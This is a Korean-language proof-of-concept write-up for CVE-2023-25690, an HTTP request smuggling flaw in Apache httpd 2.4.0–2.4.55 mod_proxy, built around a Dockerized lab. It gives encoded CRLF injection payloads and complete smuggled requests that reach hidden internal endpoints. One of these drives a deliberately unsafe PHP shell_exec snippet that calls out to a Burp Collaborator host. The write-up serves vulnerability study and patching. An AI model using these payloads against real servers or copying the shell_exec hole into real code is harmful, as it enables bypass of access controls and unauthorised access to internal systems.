
CVE 2023 25690 개념 증명 - Apache HTTP Server 2.4.0 - 2.4.55 버전의 mod_proxy 취약한 구성은 HTTP Request Smuggling 취약점을 유발합니다.
게시일: 2023년 3월 7일
| 기본 점수 | 기밀성 | 무결성 영향 | 가용성 영향 |
|---|---|---|---|
| 9.8 | 높음 | 높음 | 높음 |

Apache HTTP Server 2.4.0~2.4.55 버전의 일부 mod_proxy 구성은 HTTP 요청 스머글링(HTTP Request Smuggling) 공격을 허용합니다. 영향받는 구성은 mod_proxy가 비특정 패턴이 사용자가 제공한 요청 대상(request-target)(URL) 데이터의 일부와 일치한 후 변수 치환을 통해 프록시된 요청 대상에 다시 삽입되는 일부 형태의 RewriteRule 또는 ProxyPassMatch와 함께 활성화된 경우입니다. 예를 들면 다음과 같습니다:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
요청 분할/스머글링은 프록시 서버의 접근 제어 우회, 기존 오리진 서버로의 의도치 않은 URL 프록시, 캐시 중독을 초래할 수 있습니다. 사용자는 Apache HTTP Server를 최소 2.4.56 버전 이상으로 업데이트할 것을 권장합니다.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Apache 구성에 RewriteEngine on을 포함하면 URL 재작성 엔진이 활성화됩니다. URL 재작성은 웹 서버가 콘텐츠를 제공하기 전에 클라이언트 브라우저가 요청한 URL을 다른 URL로 동적으로 변경할 수 있게 하는 기술입니다.
예를 들어 온라인 쇼핑몰에 다음과 같은 URL 구조가 있다고 가정해 보겠습니다:
https://example-shop.com/categories/1
Apache 구성 파일에 다음과 같은 RewriteRule 지시문이 있다고 가정합니다:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
사용자가 https://example-shop.com/categories/1 URL을 요청하면 RewriteRule은 URL과 일치하고 정규식 ^/categories/(.*)을 사용하여 값 1을 캡처합니다. 그런 다음 규칙은 캡처된 값을 쿼리 매개변수 id로 재작성된 URL에 추가하여 URL을 http://example-shop.com:8080/categories?id=1로 재작성합니다.
규칙에 [P] 플래그가 있으므로 Apache는 재작성된 URL을 프록시 요청으로 처리하고 id 쿼리 매개변수가 1로 설정된 http://example-shop.com:8080/categories의 대상 서버로 전달합니다. 대상 서버는 요청을 처리하고 응답을 Apache로 다시 보내며 Apache는 이를 클라이언트로 전달합니다.
요약하면 [P] 플래그가 있는 RewriteRule 지시문은 URL을 재작성하고 다른 서버로 프록시하는 데 사용됩니다. 이 경우 규칙은 /categories/로 시작하는 URL과 일치하고 캡처된 값을 쿼리 매개변수 id로 재작성된 URL에 추가합니다. 그런 다음 Apache는 요청을 대상 서버로 전달하고 대상 서버는 요청을 처리한 후 응답을 반환합니다.
마지막으로 ProxyPassReverse /categories/ http://example-shop.com:8080/에 관해서는, 이 줄은 백엔드 서버의 도메인과 경로를 프록시 서버의 도메인과 경로로 대체하여 클라이언트가 프록시 서버에서 직접 제공되는 것처럼 프록시된 백엔드 서버의 링크를 올바르게 따라가고 콘텐츠에 접근할 수 있게 합니다.

Apache의 취약점을 시뮬레이션하기 위해 httpd 버전 2.4.55를 사용합니다. 또한 설정, 구성 및 재현성을 높이기 위해 전체 랩은 Docker화됩니다.
랩 파일 구조는 다음과 같습니다:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
최종 httpd.conf 구성은 다음과 같습니다:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
docker-compose.exe up --build 명령을 사용하여 랩을 시작합니다.
이 섹션에서는 CRLF 주입이 내부 HTTP 요청 스머글링으로 이어져 공격자가 다른 방법으로는 접근할 수 없는 내부 리소스에 무단 접근할 수 있게 되는 방법을 설명합니다.
권고 설명에 따르면 httpd <=2.4.55는 CRLF 주입이라고도 알려진 HTTP 응답 분할(HTTP Response Splitting)에 취약합니다.
CRLF 주입은 다음과 같은 경우 발생합니다:
우리의 경우 URL에 다음 CRLF 접두어를 전달하여 확인할 수 있습니다:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
위 접두어를 URL에 추가하면 최종 요청은 다음과 같습니다:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
요청 후 서버는 데이터를 처리하고 CRLF 주입 취약점을 나타내는 200 응답 코드를 반환합니다.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
HTTP 요청 분할에 대한 자세한 정보는 여기에서 확인할 수 있습니다: https://owasp.org/www-community/attacks/HTTP_Response_Splitting
헤더 주입을 사용하여 내부 HTTP 요청 스머글링을 수행합니다.
다음 접두어로 시작해 보겠습니다:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
그리고 다음 요청을 사용합니다:
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
재작성 규칙을 적용하면 요청은 다음 형식으로 변환됩니다:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
여기서 인코딩된 URL은 유효한 HTTP 구문으로 디코딩되어 백엔드가 디코딩된 데이터를 두 번째 요청으로 처리하게 합니다.
내부 애플리케이션에 다음과 같은 비밀 코드가 있다고 가정해 보겠습니다:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
다음 접두어를 사용하면 숨겨진 기능에 두 번째 요청을 보낼 수 있습니다:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
그리고 burp collaborator에서 요청을 확인합니다:

패치:
이 취약점의 영향은 공격자가 리버스 프록시에 의해 숨겨져야 하는 내부 애플리케이션을 대상으로 삼아 접근할 수 있게 하여, 무단 접근, 데이터 유출 또는 추가 악용으로 이어질 수 있다는 것입니다.